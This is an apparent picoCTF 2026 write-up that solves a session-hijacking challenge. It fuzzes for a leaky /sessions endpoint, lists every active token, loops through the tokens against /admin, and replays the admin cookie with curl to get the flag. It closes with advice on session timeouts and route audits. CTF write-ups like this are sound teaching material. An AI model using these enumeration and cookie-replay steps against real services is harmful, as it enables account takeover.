Old Sessions picoCTF 2026 Solution

Published: March 20, 2026

Description

Proper session timeout controls are critical for securing user accounts. If a user logs in on a public computer but doesn't log out, and session expiration dates are misconfigured, the session may remain active indefinitely, allowing an attacker to access the account without ever knowing the password.

This challenge wraps that idea around a debug endpoint that leaks every active session token in the database. Find the admin's stale token, replay it as a cookie, and the application authenticates you as admin.

Launch the challenge instance and open the web application in a browser.

Register an account or sign in with the test credentials so you can see what an authenticated session looks like.

Open DevTools, switch to the Application/Storage tab, and note the name of the session cookie the server sets after login (typically session, sessionid, or PHPSESSID).

bash
curl -c jar.txt -b jar.txt -d 'username=test&password=test' http://<HOST>:<PORT_FROM_INSTANCE>/login
Cookie-based session theft is the same primitive used in Cookie Monster Secret Recipe and is closely related to Fool the Lockout. For a deeper walkthrough of how cookies and JWTs hold sessions together, see the Cookie and JWT attacks for CTF post.
  1. Step 1Enumerate session-related endpoints
    Don't assume /sessions exists. Run a directory fuzzer first; the JSON response stands out among 404s and HTML pages.
    bash
    ffuf -u http://<HOST>:<PORT_FROM_INSTANCE>/FUZZ -w /usr/share/wordlists/common.txt -mc 200
    bash
    # Or with the dirb common list if /usr/share/wordlists/common.txt isn't available:
    bash
    ffuf -u http://<HOST>:<PORT_FROM_INSTANCE>/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301
    bash
    # Confirm the interesting hits manually:
    bash
    curl -i http://<HOST>:<PORT_FROM_INSTANCE>/sessions
    bash
    curl -i http://<HOST>:<PORT_FROM_INSTANCE>/admin/sessions
    bash
    curl -i http://<HOST>:<PORT_FROM_INSTANCE>/debug

    The vulnerable endpoint is /sessions. Instead of restricting it to the current user, it returns every active session row in the database:

    [
      {"user": "test",  "token": "8c1d...e91a", "created": "2026-04-26", "expires": null},
      {"user": "alice", "token": "3f2b...c044", "created": "2026-04-22", "expires": null},
      {"user": "admin", "token": "a7e3...0b9d", "created": "2025-11-08", "expires": null}
    ]
    Learn more

    Session management is one of the most critical and most commonly misconfigured aspects of web application security. A session token is a secret value that identifies an authenticated user to the server after login. If session tokens are exposed or never invalidated, attackers can reuse them to authenticate as the original user without knowing their password.

    In a well-designed application, session tokens should be: randomly generated with sufficient entropy (at least 128 bits), transmitted only over HTTPS, stored in HttpOnly cookies to prevent JavaScript access, and invalidated on logout and after a configurable idle/absolute timeout. The OWASP Session Management Cheat Sheet documents these requirements in detail.

    This challenge demonstrates what happens when a developer accidentally exposes a session listing endpoint, a debug or admin feature left accessible in production. Always enumerate common paths like /api/sessions, /admin, /debug, and /.well-known/ during web application reconnaissance. Tools like ffuf, gobuster, and feroxbuster automate this with wordlists. For more on cookie-style session abuse see the Cookie and JWT attacks for CTF post; for the broader pattern catalogue see Web challenges and real-world bug patterns.

  2. Step 2Find the admin session
    If the listing labels users (admin/test/alice), pick the admin row directly. If it doesn't, brute-force which token is privileged by replaying each one against /admin and grading by status code.
    bash
    curl -s http://<HOST>:<PORT_FROM_INSTANCE>/sessions | python3 -c "import json,sys;[print(s['user'],s['token']) for s in json.load(sys.stdin)]"
    bash
    # Probe which token is privileged when usernames aren't shown:
    bash
    for tok in $(curl -s http://<HOST>:<PORT_FROM_INSTANCE>/sessions | python3 -c "import json,sys;[print(s['token']) for s in json.load(sys.stdin)]"); do
      echo -n "$tok -> "; curl -so /dev/null -w "%{http_code}\n" -b "session=$tok" http://<HOST>:<PORT_FROM_INSTANCE>/admin
    done
    Learn more

    Session fixation and session hijacking are two related attacks. Session hijacking (this challenge) involves stealing a valid session token from another user. Session fixation is when an attacker forces a user to use a known session ID before authentication.

    Sessions that never expire (or have extremely long timeouts) are a specific vulnerability class. The admin's session in this challenge was created when they logged in and configured the system, then left running indefinitely. This is realistic: administrators often have persistent sessions on internal tools, and if those tools are misconfigured or compromised, all active sessions become attack vectors.

    Real-world session hygiene best practices include: absolute session timeouts (force re-login after N hours regardless of activity), idle timeouts (invalidate after N minutes of inactivity), single-session enforcement (new login invalidates old sessions), and session listing in user account pages so users can see and revoke active sessions.

  3. Step 3Hijack the admin session
    Use the admin's session token as a cookie to authenticate as admin without knowing the password. The cleanest way is curl with -b; in a browser, paste the token via DevTools and refresh the page.
    bash
    curl -b 'session=a7e3...0b9d' http://<HOST>:<PORT_FROM_INSTANCE>/admin
    bash
    curl -b 'session=a7e3...0b9d' http://<HOST>:<PORT_FROM_INSTANCE>/flag

    Browser equivalent: open DevTools, switch to the Application tab, find the cookie under Storage, paste the admin token over the existing value, then reload /admin. The browser sends the new cookie and the server treats every subsequent request as the admin's.

    Learn more

    HTTP is a stateless protocol; each request is independent. Cookies are how browsers maintain stateful sessions: the server sets a cookie on login, and the browser automatically includes it with every subsequent request to that domain. Replaying a stolen cookie via curl -b is exactly what a browser does, so the server cannot distinguish the attacker from the legitimate user.

    This is why HttpOnly and Secure cookie flags matter. HttpOnly prevents JavaScript from reading the cookie (mitigating XSS-based session theft), while Secure ensures the cookie is only sent over HTTPS (preventing interception on unencrypted networks). Neither flag helps here since we're using a server-side exposure, but they protect against the more common theft vectors.

    In a browser, you can manually set cookies using the developer tools console: document.cookie = "session=TOKEN". For API testing with curl, the -b flag sends cookie values, and -c cookie.jar saves received cookies to a file for reuse across requests, useful when exploiting multi-step vulnerabilities.

  4. Step 4Read the flag
    Once you have the admin cookie set, hit the protected route. Depending on the app, the flag is rendered on /admin, returned by /flag, or shown after the next form submission.
    bash
    curl -b 'session=a7e3...0b9d' http://<HOST>:<PORT_FROM_INSTANCE>/admin | grep -oE 'picoCTF\{[^}]+\}'
    Learn more

    If the flag isn't in the obvious admin landing page, look at the diff between admin and non-admin views: navigation entries, dropdowns, hidden form fields, or API endpoints only exposed to elevated users. curl -s ... | diff - against your own session's response is a quick way to spot the privileged surface.

    This is also a good moment to check what an admin can do, not just see. Many CTF challenges scaffolded around stolen sessions hide the flag behind a state change (creating a post, approving a record, exporting data), so try POST endpoints with the hijacked cookie too.

Flag

picoCTF{s3ss10n_t1m30ut_...}

The admin's session token is visible at /sessions and never expires due to a misconfigured session timeout.

How to prevent this

Two compounding bugs here: a debug endpoint shipped to prod, and sessions that never die. Fix both.

  • Set absolute and idle session timeouts. 24h absolute, 30min idle is a reasonable default for most apps; admin sessions should be shorter. Rotate the session ID on every privilege escalation.
  • Never expose a list of active sessions outside the user's own account context. /sessions should return your sessions only, and the token values must be redacted (show last 4 chars at most).
  • Audit routes before each release. /admin, /debug, /sessions, /.env, /.git should be either auth-gated or 404. Tools like nuclei, ffuf, and gobuster in CI catch these in seconds.
  • Bind sessions to a fingerprint (User-Agent hash plus a coarse IP class). Any drift forces re-auth. This won't stop a determined attacker on the same network, but it raises the cost of replaying a stolen cookie from a different country, which is the common case.

Want more picoCTF 2026 writeups?

Tools used in this challenge

Related reading

What to try next